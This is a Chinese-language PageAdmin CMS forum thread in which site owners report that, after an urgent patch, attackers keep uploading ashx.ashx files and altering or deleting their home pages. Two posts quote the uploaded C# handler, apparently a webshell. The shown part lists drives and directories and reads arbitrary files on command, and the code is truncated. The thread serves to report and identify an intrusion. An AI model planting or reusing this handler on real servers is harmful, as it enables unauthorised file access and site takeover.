PageAdmin网站内容管理系统(CMS)交流论坛

注册

 

QQ登录

只需一步,快速开始

发新话题 回复该主题

PageAdmin V3.0最新补丁发布[紧急](更新时间:2018-12-4) [复制链接]

1#

最新补丁打上后 网站频繁被修改主页或者删除主页文件。
本主题由 管理员 xiyou 于 2020/8/11 12:07:28 执行 批量删帖 操作
分享 转发
TOP
2#

.ashx  文件是否要全部删除你?
TOP
3#

总是被上传 ashx.ashx 以及 ashx_?.ashx 的文件。
文件的代码如下:
  1. <%@ WebHandler Language="C#" Class="Handler" %>

  2. using System;
  3. using System.Web;
  4. using System.IO;
  5. using System.Net;
  6. using System.Text;
  7. using System.Data;
  8. using System.Data.SqlClient;
  9. using System.Diagnostics;

  10. public class Handler : IHttpHandler
  11. {
  12.     public void ProcessRequest(HttpContext context)
  13.     {
  14.         String Z = context.Request.Form["@"];//
  15.         if (Z != "")
  16.         {
  17.             String Z1 = context.Request.Form["Z1"];
  18.             String Z2 = context.Request.Form["Z2"];
  19.             String R = "";
  20.             try
  21.             {
  22.                 switch (Z)
  23.                 {
  24.                     case "A":
  25.                         {
  26.                             String[] c = Directory.GetLogicalDrives();
  27.                             R = String.Format("{0}\t", context.Server.MapPath("/"));
  28.                             for (int i = 0; i < c.Length; i++)
  29.                                 R += c[i][0] + ":";
  30.                             break;
  31.                         }
  32.                     case "B":
  33.                         {
  34.                             DirectoryInfo m = new DirectoryInfo(Z1);
  35.                             foreach (DirectoryInfo D in m.GetDirectories())
  36.                             {
  37.                                 R += String.Format("{0}/\t{1}\t0\t-\n", D.Name, File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss"));
  38.                             }
  39.                             foreach (FileInfo D in m.GetFiles())
  40.                             {
  41.                                 R += String.Format("{0}\t{1}\t{2}\t-\n", D.Name, File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss"), D.Length);
  42.                             }
  43.                             break;
  44.                         }
  45.                     case "C":
  46.                         {
  47.                             StreamReader m = new StreamReader(Z1, Encoding.Default);
  48.                             R = m.ReadToEnd();
  49.                             m.Close();
  50.                             break;
  51.                         }
  52.                     case "D":
  53.                         {
  54.                        其他代码省略...
复制代码
TOP
4#

回复 17楼xiyou的帖子

总是被上传 ashx.ashx 以及 ashx_?.ashx 的文件。
文件的代码如下:
  1. <%@ WebHandler Language="C#" Class="Handler" %>

  2. using System;
  3. using System.Web;
  4. using System.IO;
  5. using System.Net;
  6. using System.Text;
  7. using System.Data;
  8. using System.Data.SqlClient;
  9. using System.Diagnostics;

  10. public class Handler : IHttpHandler
  11. {
  12.     public void ProcessRequest(HttpContext context)
  13.     {
  14.         String Z = context.Request.Form["@"];//
  15.         if (Z != "")
  16.         {
  17.             String Z1 = context.Request.Form["Z1"];
  18.             String Z2 = context.Request.Form["Z2"];
  19.             String R = "";
  20.             try
  21.             {
  22.                 switch (Z)
  23.                 {
  24.                     case "A":
  25.                         {
  26.                             String[] c = Directory.GetLogicalDrives();
  27.                             R = String.Format("{0}\t", context.Server.MapPath("/"));
  28.                             for (int i = 0; i < c.Length; i++)
  29.                                 R += c[i][0] + ":";
  30.                             break;
  31.                         }
  32.                     case "B":
  33.                         {
  34.                             DirectoryInfo m = new DirectoryInfo(Z1);
  35.                             foreach (DirectoryInfo D in m.GetDirectories())
  36.                             {
  37.                                 R += String.Format("{0}/\t{1}\t0\t-\n", D.Name, File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss"));
  38.                             }
  39.                             foreach (FileInfo D in m.GetFiles())
  40.                             {
  41.                                 R += String.Format("{0}\t{1}\t{2}\t-\n", D.Name, File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss"), D.Length);
  42.                             }
  43.                             break;
  44.                         }
  45.                     case "C":
  46.                         {
  47.                             StreamReader m = new StreamReader(Z1, Encoding.Default);
  48.                             R = m.ReadToEnd();
  49.                             m.Close();
  50.                             break;
  51.                         }
  52.                     case "D":
  53.                         {
  54.                        其他代码省略...
复制代码
TOP
5#

回复 22楼xiyou的帖子

好的,我逐一查询所有代码。
ashx.ashx 这样的文件是木马吧?
TOP
发新话题 回复该主题